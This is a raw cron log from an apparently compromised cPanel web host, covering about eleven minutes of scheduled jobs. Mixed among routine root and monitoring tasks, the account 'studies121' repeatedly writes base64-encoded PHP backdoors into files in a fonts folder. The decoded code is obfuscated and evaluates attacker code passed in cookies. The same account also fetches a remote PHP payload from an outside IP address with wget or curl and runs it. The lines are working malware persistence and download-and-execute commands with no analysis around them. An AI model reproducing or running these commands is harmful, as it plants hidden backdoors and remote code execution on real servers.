Sep  4 13:24:01 ip-184-168-122-23 CROND[31136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:24:01 ip-184-168-122-23 CROND[31138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:24:01 ip-184-168-122-23 CROND[31137]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:25:01 ip-184-168-122-23 CROND[31254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:25:01 ip-184-168-122-23 CROND[31257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:25:01 ip-184-168-122-23 CROND[31258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:25:01 ip-184-168-122-23 CROND[31255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:25:01 ip-184-168-122-23 CROND[31256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:25:01 ip-184-168-122-23 CROND[31259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:26:01 ip-184-168-122-23 CROND[31351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:26:01 ip-184-168-122-23 CROND[31354]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:26:01 ip-184-168-122-23 CROND[31352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:26:01 ip-184-168-122-23 CROND[31353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:26:01 ip-184-168-122-23 CROND[31356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:27:02 ip-184-168-122-23 CROND[31527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:27:02 ip-184-168-122-23 CROND[31530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:27:02 ip-184-168-122-23 CROND[31532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:27:02 ip-184-168-122-23 CROND[31531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:28:01 ip-184-168-122-23 CROND[31610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:28:01 ip-184-168-122-23 CROND[31612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:28:01 ip-184-168-122-23 CROND[31613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:28:01 ip-184-168-122-23 CROND[31614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:28:01 ip-184-168-122-23 CROND[31615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:29:01 ip-184-168-122-23 CROND[31704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:29:01 ip-184-168-122-23 CROND[31705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:29:01 ip-184-168-122-23 CROND[31706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:29:01 ip-184-168-122-23 CROND[31708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:30:01 ip-184-168-122-23 CROND[31801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:30:01 ip-184-168-122-23 CROND[31805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:30:01 ip-184-168-122-23 CROND[31804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:30:01 ip-184-168-122-23 CROND[31807]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:30:01 ip-184-168-122-23 CROND[31808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:30:01 ip-184-168-122-23 CROND[31803]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:30:01 ip-184-168-122-23 CROND[31806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:30:01 ip-184-168-122-23 CROND[31809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:31:01 ip-184-168-122-23 CROND[31912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:31:01 ip-184-168-122-23 CROND[31910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:31:01 ip-184-168-122-23 CROND[31911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:31:01 ip-184-168-122-23 CROND[31913]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 13:31:01 ip-184-168-122-23 CROND[31914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:32:01 ip-184-168-122-23 CROND[32095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:32:01 ip-184-168-122-23 CROND[32099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:32:01 ip-184-168-122-23 CROND[32097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:32:01 ip-184-168-122-23 CROND[32098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:32:01 ip-184-168-122-23 CROND[32096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:33:01 ip-184-168-122-23 CROND[32212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:33:01 ip-184-168-122-23 CROND[32213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:33:01 ip-184-168-122-23 CROND[32214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:33:01 ip-184-168-122-23 CROND[32216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:34:02 ip-184-168-122-23 CROND[32298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:34:02 ip-184-168-122-23 CROND[32297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:34:02 ip-184-168-122-23 CROND[32301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:34:02 ip-184-168-122-23 CROND[32300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:34:02 ip-184-168-122-23 CROND[32299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:35:01 ip-184-168-122-23 CROND[32392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:35:01 ip-184-168-122-23 CROND[32396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:35:01 ip-184-168-122-23 CROND[32397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:35:01 ip-184-168-122-23 CROND[32395]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 13:35:01 ip-184-168-122-23 CROND[32398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:35:01 ip-184-168-122-23 CROND[32394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:35:01 ip-184-168-122-23 CROND[32399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:35:01 ip-184-168-122-23 CROND[32400]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
